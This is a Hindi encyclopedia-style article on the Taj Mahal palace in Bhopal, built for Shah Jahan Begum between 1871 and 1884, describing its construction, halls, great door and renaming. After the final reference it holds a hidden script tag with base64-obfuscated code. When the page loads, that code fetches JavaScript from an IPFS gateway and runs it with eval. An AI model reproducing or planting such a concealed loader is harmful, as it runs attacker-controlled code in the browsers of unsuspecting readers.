ताजमहल, भोपाल

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ताजमहल, भोपाल

भोपाल का ताजमहल मुग़ल वास्तुकला का अद्भुत नमूना है। इस ताजमहल का निर्माण किसी शहंशाह ने नहीं वरन भोपाल की एक बेगम ने कराया था। उनका नाम शाहजहां बेगम था। वह भोपाल रियासत की बेगम रही थीं। उन्होंने ताजमहल का निर्माण अपने खुद के निवास के लिए कराया था। इस ताजमहल में सैकड़ों कमरों के अलावा आठ बड़े हॉल हैं। दावतें और बैठकें इन्हीं हॉल में हुआ करती थीं। इस ताजमहल के निर्माण में कुल तेरह साल लगे। साल 1871 में इसका निर्माण चालू हुआ था। 1884 में यह बनकर तैयार हुआ।[1]

निर्माण

ताजमहल का नाम सुनते ही जो सबसे पहले दिमाग में आता है वो है 'आगरा का ताजमहल', जो कि सात अजूबों में से एक है। लेकिन एक ताजमहल और है और वो आगरा में नहीं बल्कि भोपाल में है। भोपाल की शाहजहां बेगम ने इसको बनावाया और इसका नाम राजमहल रखा था। लेकिन इसकी खूबसूरती इतनी ज्यादा थी कि इसको ताजमहल का नाम दिया गया। सत्रह एकड़ में बना यह ताजमहल बाहर से पांच मंजिल और अंदर दो मंजिल है। भवन के निर्माण पर उस दौर में कुल तीन लाख रुपए का खर्च आया था। महल बनने के बाद तीन साल तक बेगम ने जश्न मनाया। भोपाल का शाहजहांबाद इलाका, इन्हीं बेगम के नाम पर है।

खूबियां

इस ताजमहल की कई ऐसी खूबियां है जो हैरान कर देंगी। इसकी पहली खूबी इसका दरवाजा है। इसके दरवाजे का वजन एक टन से ज्यादा है। कई हाथियों की ताकत भी इस दरवाजे को तोड़ नहीं सकती। दरवाजा इतना विशाल है कि 16 घोड़ों वाली बग्गी भी 360 डिग्री में घूम सकती थी। इस दरवाजे की नक्काशी में रंगीन कांच का प्रयोग किया गया था। इस कारण इसे 'शीशमहल' भी कहा जाता है। कांच पर पड़ने वाली सूरज की रोशनी से उत्पन्न होने वाली चमक लोगों की आंखों पर पड़ती थी। इसमें घुसने के लिए इस दरवाजे से निकलने के लिए सर झुकाना पड़ेगा।

नामकरण

इस ताजमहल का निर्माण बेगम के निवास स्थल के रूप में किया गया था। इसकी लागत 3,00,000 रुपए थी और यह 13 वर्ष में बनकर तैयार हुआ था। सन 1871 से लेकर 1884 तक यह उस समय के सबसे बड़े महलों में से एक था। इस महल का शुरूआती नाम राजमहल था, लेकिन भोपाल के बर्तानिया अध्यक्ष इसके वास्तुकला से अत्यंत प्रभावित हुए तथा उन्होंने इसका नाम ताजमहल रखने के लिए सुझाया। ताजमहल जो कि आगरा में स्थित है। यह शाहजहां ने अपनी बेगम के याद में बनाया था। भोपाल की बेगम ने उनके इस प्रस्ताव को स्वीकार किया तथा इसका नया नाम ताजमहल रखा गया। कहा जाता है कि बेगम ने इस महल के बन जाने पर 3 साल तक 'जश्न-ए-ताजमहल' नाम का उत्सव मनाया।


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टीका टिप्पणी और संदर्भ

  1. भोपाल का ताजमहल (हिंदी) medium.com। अभिगमन तिथि: 24 अक्टूबर, 2020।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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